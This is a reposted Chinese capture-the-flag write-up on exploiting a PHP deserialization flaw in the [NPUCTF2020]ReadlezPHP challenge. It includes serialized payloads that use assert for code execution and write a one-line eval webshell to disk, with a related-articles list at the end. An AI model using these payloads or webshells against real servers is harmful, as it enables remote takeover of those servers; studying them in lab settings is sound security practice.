当前位置: 首页 > news >正文

[NPUCTF2020]ReadlezPHP

从响应源码中可以看到:

<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
<SCRIPT language=javascript>
function runClock() {
theTime = window.setTimeout("runClock()", 100);
var today = new Date();
var display= today.toLocaleString();
window.status=""+display+"大黑阔HELEN";
}runClock();
</SCRIPT>

访问/time.php?source:

 <?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);2025-07-25 07:13:09

反序列化漏洞,魔术方法中$a($b)应该是函数调用吧。尝试一下:

直接就成功了。

那植入一句话木马试试:

 O:8:"HelloPhp":2:{s:1:"a";s:8:"echo 123";s:1:"b";s:4:"eval";}

访问就出错,应该是eval不能使用。哦对eval不是函数,不能用在函数动态调用。

(补充:O:8:"HelloPhp":2:{s:1:"a";s:15:"eval($_POST[0])";s:1:"b";s:6:"assert";}能植入木马)

尝试一下file_get_contents('index.php')发现直接返回首页了,为啥呢?

O:8:"HelloPhp":2:{s:1:"a";s:22:"var_dump(scandir('.'))";s:1:"b";s:6:"assert";}

assert 断言检测 用于判断一个表达式是否成立,返回true or false,会执行其中的表达式

执行结果:array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(8) "time.php" } 2025-07-25 08:21:52

O:8:"HelloPhp":2:{s:1:"a";s:33:"var_dump(scandir('../../../../'))";s:1:"b";s:6:"assert";}

执行结果:

array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(10) "FIag_!S_it" [4]=> string(3) "bin" [5]=> string(4) "boot" [6]=> string(3) "dev" [7]=> string(3) "etc" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(3) "sys" [20]=> string(3) "tmp" [21]=> string(3) "usr" [22]=> string(3) "var" } 2025-07-25 08:23:46

没找到flag,尝试植入一句话木马:

O:8:"HelloPhp":2:{s:1:"a";s:66:"file_put_contents('shell.php','<?php @eval($_POST[0]);echo 123?>')";s:1:"b";s:6:"assert";}

可以看到成功了。但是用蚁剑连接后看不到任何文件。 手动传参发现网页直接出错了,不知道为啥。看一眼答案,flag居然通过phpinfo()看到。

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在Environment里面可以看到flag。

总结一下:这道题考了反序列化和动态函数调用。有几个需要注意的点,第一,eval不是函数;第二,flag可能在php配置信息中。不知道为什么这里植入一句话木马之后不能正常使用。

http://www.dtcms.com/a/297951.html

相关文章:

  • iOS —— 天气预报仿写总结
  • SQL164 2021年11月每天新用户的次日留存率
  • ReAct Agent(LangGraph实现)
  • 去除视频字幕 2, 使用 PaddleOCR 选取图片中的字幕区域, 根据像素大小 + 形状轮廓
  • MCP 与传统集成方案深度对决:REST API、GraphQL、gRPC 全方位技术解析
  • react 内置hooks 详细使用场景,使用案例
  • 轮盘赌算法
  • Python爬虫实战:研究Talon相关技术构建电商爬虫系统
  • ZLMediaKit 源代码入门
  • Java排序算法之<选择排序>
  • IT领域需要“落霞归雁”思维框架的好处
  • 熵与交叉熵:从信息论到机器学习的「不确定性」密码
  • Jmeter的元件使用介绍:(四)前置处理器详解
  • 告别静态文档!Oracle交互式技术架构图让数据库学习“活“起来
  • 多步相移小记
  • epoll_event数据结构及使用案例详解
  • springboot(3.4.8)整合mybatis
  • 分布式方案 一 分布式锁的四大实现方式
  • android app适配Android 15可以在Android studio自带的模拟器上进行吗,还是说必须在真机上进行
  • HashMap底层实现原理与核心设计解析
  • AI同传领域,字节跳动与科大讯飞激战进行时
  • 【Linux系统】基础IO(下)
  • 深度学习篇---图像数据采集
  • classgraph:Java轻量级类和包扫描器
  • 深度学习篇---深度学习中的卡尔曼滤波
  • Vmware VSAN主机停机维护流程
  • RAG、Function Call、MCP技术笔记
  • Java中给List<String>去重的4种方式
  • 数据结构:对角矩阵(Diagonal Matrix)
  • Android UI 组件系列(八):ListView 基础用法与适配器详解